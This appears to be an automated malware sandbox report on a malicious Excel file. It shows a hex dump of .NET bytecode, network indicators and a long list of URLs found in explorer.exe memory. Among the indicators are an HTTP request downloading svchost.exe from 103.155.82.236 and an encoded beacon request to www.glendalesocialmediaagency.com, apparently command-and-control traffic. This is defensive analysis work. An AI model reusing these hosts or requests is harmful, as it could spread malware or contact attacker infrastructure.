14 00 00 06 02 6f 03 00 00 0a 2a 00 13 30 02 00 c5 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 2b 02 26 16 16 2b 32 02 16 28 0a 00 00 06 38 94 00 00 00 26 1b 28 05 00 00 06 2c 03 17 2b 03 16 2b 00 2d 15 38 87 00 00 00 02 16 28 09 00 00 06 2b d5 16 38 6c 00 00 00 06 45 08 00 00 00 0d 00 00 00 17 00 00 00 cb ff ff ff a9 ff ff ff b0 ff ff ff 49 00 00 00 cb ff ff ff 5e 00 00 00 19 17 2c 03 17 2b 03 16 2b 00 2d cf 26 02 16 28 07 00 00 06 17 2b c4 02 16 28 08 00 00 06 28 06 00 00 06 28 05 00 00 06 2c 03 16 2b 03 17 2b 00 2d 83 26 1c 28 06 00 00 06 2c 03 16 2b 03 17 2b 00 2d 98 26 2b 03 0a 2b 91 02 16 28 0b 00 00 06 2b 06 26 38 73 ff ff ff 1d 38 7d ff ff ff 2a 66 2b 02 26 16 2b 02 26 16 02 28 0c 00 00 06 28 0d 00 00 06 28 08 00 00 0a 2a 66 2b 02 26 16 2b 02 26 16 02 28 0c 00 00 06 28 0e 00 00 06 28 0f 00 00 06 2a 2a 2b 0

Source: global traffic

HTTP traffic detected: GET /nff/?7nbpTbD=E6fLQbQkmX4/6uamieHtmkhlLAH8o5Ikh6AParAHUnAgUAgt+y3sQZ1X1kCbUlkP6l5bSg==&MHHh-b=chfdPRJhKHQ0Rpo0 HTTP/1.1Host: www.glendalesocialmediaagency.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 103.155.82.236 103.155.82.236

Source: Joe Sandbox View

ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK

Source: global traffic

HTTP traffic detected: GET /frsdoc/svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.82.236Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.82.236

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DF63ADE7.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /frsdoc/svchost.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.82.236Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nff/?7nbpTbD=E6fLQbQkmX4/6uamieHtmkhlLAH8o5Ikh6AParAHUnAgUAgt+y3sQZ1X1kCbUlkP6l5bSg==&MHHh-b=chfdPRJhKHQ0Rpo0 HTTP/1.1Host: www.glendalesocialmediaagency.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: www.glendalesocialmediaagency.com

Source: explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://%s.com
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189542768.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2178898081.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&q=
Source: explorer.exe, 00000006.00000000.2177886742.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000006.00000000.2177886742.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://msk.afisha.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://rover.ebay.com
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sads.myspace.com/
Source: explorer.exe, 00000006.00000000.2192290237.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2169481701.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.about.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.in/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.atlas.cz/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auction.co.kr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auone.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.de/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.es/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.fr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.in/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.it/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.espn.go.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.interpark.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nate.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nifty.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.sify.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2189785871.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&p=
